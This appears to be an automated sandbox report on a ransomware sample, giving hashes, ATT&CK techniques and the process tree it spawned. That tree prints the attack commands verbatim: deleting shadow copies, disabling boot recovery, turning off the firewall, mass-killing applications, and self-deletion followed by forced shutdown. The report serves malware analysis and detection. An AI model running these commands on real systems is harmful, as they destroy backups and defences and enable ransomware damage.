e7fe3b83e1730593d372b5a848e84066c07d75ee4790395a258822cfb8502412

Reason

Remote task has failed: Machine shutdown

General

Target

730DBBFB.exe
Size

169KB
MD5

65c3956288e16bdcc55e3c9c6b94ba5b
SHA1

33aa83e00711a32e0960dcf670ae2fa891049170
SHA256

e7fe3b83e1730593d372b5a848e84066c07d75ee4790395a258822cfb8502412
SHA512

813db16eeacf96589468881872ec15e55760dacf27f90060298972036ab22243337abd5f9bce266063a89fccc45ded069cb4bb4172946acc4a54e5ac49853c76

Score

9^/10

evasion ransomware

Malware Config

Signatures

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
ransomware evasion

Inhibit System Recovery
T1490

Processes:

bcdedit.exebcdedit.exe

pid process

1332 bcdedit.exe
1372 bcdedit.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

pid	process
1332	bcdedit.exe
1372	bcdedit.exe

Modifies extensions of user files 2 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

730DBBFB.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\GroupInstall.raw => C:\Users\Admin\Pictures\GroupInstall.raw.4638E.hela	730DBBFB.exe
File renamed	C:\Users\Admin\Pictures\ExitEnter.png => C:\Users\Admin\Pictures\ExitEnter.png.4638E.hela	730DBBFB.exe

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2656 cmd.exe

pid	process
2656	cmd.exe

Drops file in Program Files directory 2 IoCs

Processes:

730DBBFB.exe

description	ioc	process
File opened for modification	C:\Program Files\ResumeExpand.sql	730DBBFB.exe
File created	C:\Program Files\!!Read_Me.4638E.html	730DBBFB.exe

Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

vssadmin.exe

pid process

820 vssadmin.exe

pid	process
820	vssadmin.exe

Kills process with taskkill 13 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
1300	taskkill.exe
640	taskkill.exe
1812	taskkill.exe
2164	taskkill.exe
2144	taskkill.exe
228	taskkill.exe
2244	taskkill.exe
2256	taskkill.exe
1192	taskkill.exe
2012	taskkill.exe
1936	taskkill.exe
2080	taskkill.exe
2232	taskkill.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2684 PING.EXE

pid	process
2684	PING.EXE

Suspicious use of AdjustPrivilegeToken 62 IoCs

Processes:

WMIC.exevssvc.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exeshutdown.exeAUDIODG.EXE

description	pid	process
Token: SeIncreaseQuotaPrivilege	824	WMIC.exe
Token: SeSecurityPrivilege	824	WMIC.exe
Token: SeTakeOwnershipPrivilege	824	WMIC.exe
Token: SeLoadDriverPrivilege	824	WMIC.exe
Token: SeSystemProfilePrivilege	824	WMIC.exe
Token: SeSystemtimePrivilege	824	WMIC.exe
Token: SeProfSingleProcessPrivilege	824	WMIC.exe
Token: SeIncBasePriorityPrivilege	824	WMIC.exe
Token: SeCreatePagefilePrivilege	824	WMIC.exe
Token: SeBackupPrivilege	824	WMIC.exe
Token: SeRestorePrivilege	824	WMIC.exe
Token: SeShutdownPrivilege	824	WMIC.exe
Token: SeDebugPrivilege	824	WMIC.exe
Token: SeSystemEnvironmentPrivilege	824	WMIC.exe
Token: SeRemoteShutdownPrivilege	824	WMIC.exe
Token: SeUndockPrivilege	824	WMIC.exe
Token: SeManageVolumePrivilege	824	WMIC.exe
Token: 33	824	WMIC.exe
Token: 34	824	WMIC.exe
Token: 35	824	WMIC.exe
Token: SeIncreaseQuotaPrivilege	824	WMIC.exe
Token: SeSecurityPrivilege	824	WMIC.exe
Token: SeTakeOwnershipPrivilege	824	WMIC.exe
Token: SeLoadDriverPrivilege	824	WMIC.exe
Token: SeSystemProfilePrivilege	824	WMIC.exe
Token: SeSystemtimePrivilege	824	WMIC.exe
Token: SeProfSingleProcessPrivilege	824	WMIC.exe
Token: SeIncBasePriorityPrivilege	824	WMIC.exe
Token: SeCreatePagefilePrivilege	824	WMIC.exe
Token: SeBackupPrivilege	824	WMIC.exe
Token: SeRestorePrivilege	824	WMIC.exe
Token: SeShutdownPrivilege	824	WMIC.exe
Token: SeDebugPrivilege	824	WMIC.exe
Token: SeSystemEnvironmentPrivilege	824	WMIC.exe
Token: SeRemoteShutdownPrivilege	824	WMIC.exe
Token: SeUndockPrivilege	824	WMIC.exe
Token: SeManageVolumePrivilege	824	WMIC.exe
Token: 33	824	WMIC.exe
Token: 34	824	WMIC.exe
Token: 35	824	WMIC.exe
Token: SeBackupPrivilege	1940	vssvc.exe
Token: SeRestorePrivilege	1940	vssvc.exe
Token: SeAuditPrivilege	1940	vssvc.exe
Token: SeDebugPrivilege	1192	taskkill.exe
Token: SeDebugPrivilege	1300	taskkill.exe
Token: SeDebugPrivilege	640	taskkill.exe
Token: SeDebugPrivilege	2012	taskkill.exe
Token: SeDebugPrivilege	1812	taskkill.exe
Token: SeDebugPrivilege	1936	taskkill.exe
Token: SeDebugPrivilege	2080	taskkill.exe
Token: SeDebugPrivilege	2144	taskkill.exe
Token: SeDebugPrivilege	2164	taskkill.exe
Token: SeDebugPrivilege	2232	taskkill.exe
Token: SeDebugPrivilege	2256	taskkill.exe
Token: SeDebugPrivilege	2244	taskkill.exe
Token: SeDebugPrivilege	228	taskkill.exe
Token: SeShutdownPrivilege	2716	shutdown.exe
Token: SeRemoteShutdownPrivilege	2716	shutdown.exe
Token: 33	2796	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	2796	AUDIODG.EXE
Token: 33	2796	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	2796	AUDIODG.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

730DBBFB.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 592 wrote to memory of 1908	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 1908	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 1908	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 1908	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 1928	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 1928	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 1928	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 1928	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 2008	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 2008	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 2008	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 2008	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 2028	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 2028	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 2028	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 2028	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 2032	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 2032	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 2032	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 2032	592	730DBBFB.exe	cmd.exe
PID 2028 wrote to memory of 1372	2028	cmd.exe	bcdedit.exe
PID 2028 wrote to memory of 1372	2028	cmd.exe	bcdedit.exe
PID 2028 wrote to memory of 1372	2028	cmd.exe	bcdedit.exe
PID 2032 wrote to memory of 1228	2032	cmd.exe	netsh.exe
PID 2032 wrote to memory of 1228	2032	cmd.exe	netsh.exe
PID 2032 wrote to memory of 1228	2032	cmd.exe	netsh.exe
PID 1928 wrote to memory of 824	1928	cmd.exe	WMIC.exe
PID 1928 wrote to memory of 824	1928	cmd.exe	WMIC.exe
PID 1928 wrote to memory of 824	1928	cmd.exe	WMIC.exe
PID 2008 wrote to memory of 1332	2008	cmd.exe	bcdedit.exe
PID 2008 wrote to memory of 1332	2008	cmd.exe	bcdedit.exe
PID 2008 wrote to memory of 1332	2008	cmd.exe	bcdedit.exe
PID 1908 wrote to memory of 820	1908	cmd.exe	vssadmin.exe
PID 1908 wrote to memory of 820	1908	cmd.exe	vssadmin.exe
PID 1908 wrote to memory of 820	1908	cmd.exe	vssadmin.exe
PID 592 wrote to memory of 908	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 908	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 908	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 908	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 1452	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 1452	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 1452	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 1452	592	730DBBFB.exe	cmd.exe
PID 908 wrote to memory of 1192	908	cmd.exe	taskkill.exe
PID 908 wrote to memory of 1192	908	cmd.exe	taskkill.exe
PID 908 wrote to memory of 1192	908	cmd.exe	taskkill.exe
PID 908 wrote to memory of 1192	908	cmd.exe	taskkill.exe
PID 592 wrote to memory of 1772	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 1772	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 1772	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 1772	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 1504	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 1504	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 1504	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 1504	592	730DBBFB.exe	cmd.exe
PID 1452 wrote to memory of 1300	1452	cmd.exe	taskkill.exe
PID 1452 wrote to memory of 1300	1452	cmd.exe	taskkill.exe
PID 1452 wrote to memory of 1300	1452	cmd.exe	taskkill.exe
PID 1452 wrote to memory of 1300	1452	cmd.exe	taskkill.exe
PID 592 wrote to memory of 564	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 564	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 564	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 564	592	730DBBFB.exe	cmd.exe
PID 592 wrote to memory of 1172	592	730DBBFB.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\730DBBFB.exe
"C:\Users\Admin\AppData\Local\Temp\730DBBFB.exe"
1⤵
- Modifies extensions of user files
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:592

C:\Windows\system32\cmd.exe
cmd.exe /c vssadmin delete shadows /all /quiet
2⤵
- Suspicious use of WriteProcessMemory
PID:1908

C:\Windows\system32\vssadmin.exe
vssadmin delete shadows /all /quiet
3⤵
- Interacts with shadow copies
PID:820

C:\Windows\system32\cmd.exe
cmd.exe /c wmic shadowcopy delete /nointeractive
2⤵
- Suspicious use of WriteProcessMemory
PID:1928

C:\Windows\System32\Wbem\WMIC.exe
wmic shadowcopy delete /nointeractive
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:824

C:\Windows\system32\cmd.exe
cmd.exe /c bcdedit /set {current} bootstatuspolicy ignoreallfailures
2⤵
- Suspicious use of WriteProcessMemory
PID:2008

C:\Windows\system32\bcdedit.exe
bcdedit /set {current} bootstatuspolicy ignoreallfailures
3⤵
- Modifies boot configuration data using bcdedit
PID:1332

C:\Windows\system32\cmd.exe
cmd.exe /c bcdedit /set {current} recoveryenabled no
2⤵
- Suspicious use of WriteProcessMemory
PID:2028

C:\Windows\system32\bcdedit.exe
bcdedit /set {current} recoveryenabled no
3⤵
- Modifies boot configuration data using bcdedit
PID:1372

C:\Windows\system32\cmd.exe
cmd.exe /c netsh advfirewall set allprofiles state off
2⤵
- Suspicious use of WriteProcessMemory
PID:2032

C:\Windows\system32\netsh.exe
netsh advfirewall set allprofiles state off
3⤵
PID:1228

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im note*
2⤵
- Suspicious use of WriteProcessMemory
PID:908

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im note*
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1192

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im powerpnt*
2⤵
- Suspicious use of WriteProcessMemory
PID:1452

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im powerpnt*
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1300

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im tomcat*
2⤵
PID:1964

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im tomcat*
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1812

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im java*
2⤵
PID:1612

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im java*
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2144

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im vee*
2⤵
PID:1580

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im vee*
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2232

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im post*
2⤵
PID:2052

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im post*
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2244

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im mys*
2⤵
PID:2108

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im mys*
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2256

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im python*
2⤵
PID:1072

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im apache*
2⤵
PID:220

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im sql*
2⤵
PID:1172

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im Exchange*
2⤵
PID:564

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im excel*
2⤵
PID:1504

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im winword*
2⤵
PID:1772

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c ping 127.0.0.1>nul & del /q C:\Users\Admin\AppData\Local\Temp\730DBBFB.exe & shutdown -s -t 0
2⤵
- Deletes itself
PID:2656

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1
3⤵
- Runs ping.exe
PID:2684

C:\Windows\SysWOW64\shutdown.exe
shutdown -s -t 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2716

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1940

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im excel*
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:640

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Exchange*
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2012

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im sql*
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1936

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im python*
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2164

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im apache*
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2080

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im winword*
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:228

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0
1⤵
PID:2744

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x578
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2796

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x1
1⤵
PID:2948

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

File Deletion

2

T1107

Credential Access

Discovery

Remote System Discovery

1

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Inhibit System Recovery

3

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

memory/220-83-0x0000000000000000-mapping.dmp

Download
memory/228-82-0x0000000000000000-mapping.dmp

Download
memory/564-79-0x0000000000000000-mapping.dmp

Download
memory/592-60-0x0000000010000000-0x000000001001C000-memory.dmp

Filesize
112KB

Download
memory/640-84-0x0000000000000000-mapping.dmp

Download
memory/820-71-0x0000000000000000-mapping.dmp

Download
memory/824-69-0x0000000000000000-mapping.dmp

Download
memory/908-73-0x0000000000000000-mapping.dmp

Download
memory/1072-89-0x0000000000000000-mapping.dmp

Download
memory/1172-80-0x0000000000000000-mapping.dmp

Download
memory/1192-75-0x0000000000000000-mapping.dmp

Download
memory/1228-68-0x0000000000000000-mapping.dmp

Download
memory/1228-72-0x000007FEFB9A1000-0x000007FEFB9A3000-memory.dmp

Filesize
8KB

Download
memory/1300-78-0x0000000000000000-mapping.dmp

Download
memory/1332-70-0x0000000000000000-mapping.dmp

Download
memory/1372-67-0x0000000000000000-mapping.dmp

Download
memory/1452-74-0x0000000000000000-mapping.dmp

Download
memory/1504-77-0x0000000000000000-mapping.dmp

Download
memory/1580-90-0x0000000000000000-mapping.dmp

Download
memory/1612-88-0x0000000000000000-mapping.dmp

Download
memory/1772-76-0x0000000000000000-mapping.dmp

Download
memory/1812-87-0x0000000000000000-mapping.dmp

Download
memory/1908-62-0x0000000000000000-mapping.dmp

Download
memory/1928-63-0x0000000000000000-mapping.dmp

Download
memory/1936-86-0x0000000000000000-mapping.dmp

Download
memory/1964-81-0x0000000000000000-mapping.dmp

Download
memory/2008-64-0x0000000000000000-mapping.dmp

Download
memory/2012-85-0x0000000000000000-mapping.dmp

Download
memory/2028-65-0x0000000000000000-mapping.dmp

Download
memory/2032-66-0x0000000000000000-mapping.dmp

Download
memory/2052-91-0x0000000000000000-mapping.dmp

Download
memory/2080-92-0x0000000000000000-mapping.dmp

Download
memory/2108-93-0x0000000000000000-mapping.dmp

Download
memory/2144-94-0x0000000000000000-mapping.dmp

Download
memory/2164-95-0x0000000000000000-mapping.dmp

Download
memory/2232-96-0x0000000000000000-mapping.dmp

Download
memory/2244-97-0x0000000000000000-mapping.dmp

Download
memory/2256-98-0x0000000000000000-mapping.dmp

Download
memory/2656-99-0x0000000000000000-mapping.dmp

Download
memory/2684-100-0x0000000000000000-mapping.dmp

Download
memory/2716-101-0x0000000000000000-mapping.dmp

Download
memory/2744-103-0x0000000002840000-0x0000000002841000-memory.dmp

Filesize
4KB

Download
memory/2948-105-0x00000000026E0000-0x00000000026E1000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads